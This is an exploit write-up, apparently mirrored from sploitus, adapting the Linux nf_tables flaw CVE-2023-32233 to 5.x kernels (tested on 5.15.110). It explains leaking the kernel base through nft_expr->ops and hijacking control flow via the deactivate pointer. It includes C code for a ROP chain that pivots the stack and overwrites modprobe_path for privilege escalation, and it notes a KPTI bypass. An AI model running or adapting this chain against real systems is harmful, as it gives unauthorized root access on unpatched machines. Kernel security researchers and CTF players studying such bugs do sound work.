## https://sploitus.com/exploit?id=C6DB9FD2-AB34-5BF4-97E3-656C11F06A18
# CVE-2023-32233 5.x Kernel Adaptation
## Existing Exploitation Vector
1. https://github.com/Liuk3r/CVE-2023-32233/tree/main
2. https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-32233_mitigation
## Reason
The vulnerability occurs due to a low version of the kernel (direct crash in `list_del_rcu`).
## Method
This exploit was tested successfully on version 5.15.110.
By combining two exploits, leveraging the `nft_rule` structure and exploiting a `list_head` leak in the kernel stack, the kernel address is leaked through `nft_expr->ops`, and the control flow is hijacked via `nft_expr->ops->deactivate`.
```c
struct nft_rule {
struct list_head (list);
u64 handle:42,
genmask:2,
dlen:12,
udata:1;
unsigned char data[];
__attribute__((aligned(__alignof__(struct nft_expr))));
};
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[];
__attribute__((aligned(__alignof__(u64))));
};
static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
struct nft_rule *rule,
enum nft_trans_phase phase)
{
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {
if (expr->ops->deactivate)
expr->ops->deactivate(ctx, expr, phase); // [7]
expr = nft_expr_next(expr);
}
}
```
For ease of privilege escalation, we directly use the method from Exploit1, which relies on `modprobe_path`. The constructed ROP is as follows:
```c
// /sbin/modpath -> /tmp/modpath
void make_payload_rop(uint64_t* data) {
data[0] = kbase + POP_5REG_RET; // Skip metadata
data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
// /tmp/mod - sbin/mod
// 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
data[6] = kbase + POP_RAX_RET;
data[7] = kbase + cfg_modprobe_path+1; // [rax]
data[8] = kbase + POP_RDI_RET;
data[9] = 0x20411bc; // rdi
data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}
```
The kernel executes at `data[5]`, where the block's starting address (`&data[0]`) is stored in the RAX register. The `push rax; pop rsp; ret;` sequence causes a stack corruption, preventing normal return to user mode. To gain privilege, a larger block (>0x80) can be used (refer to Exploit1βs `make_payload_rop2`), and `swapgs_restore regs and return to usermode` can be used to bypass `kpti` and return to user mode. Since the forged `nft_rule` contains 0x18 bytes of metadata (mainly at offset 0x10), the `pop` instruction is needed to skip these addresses. Subsequent steps can be handled using simple gadgets, such as modifying `modprobe_path`.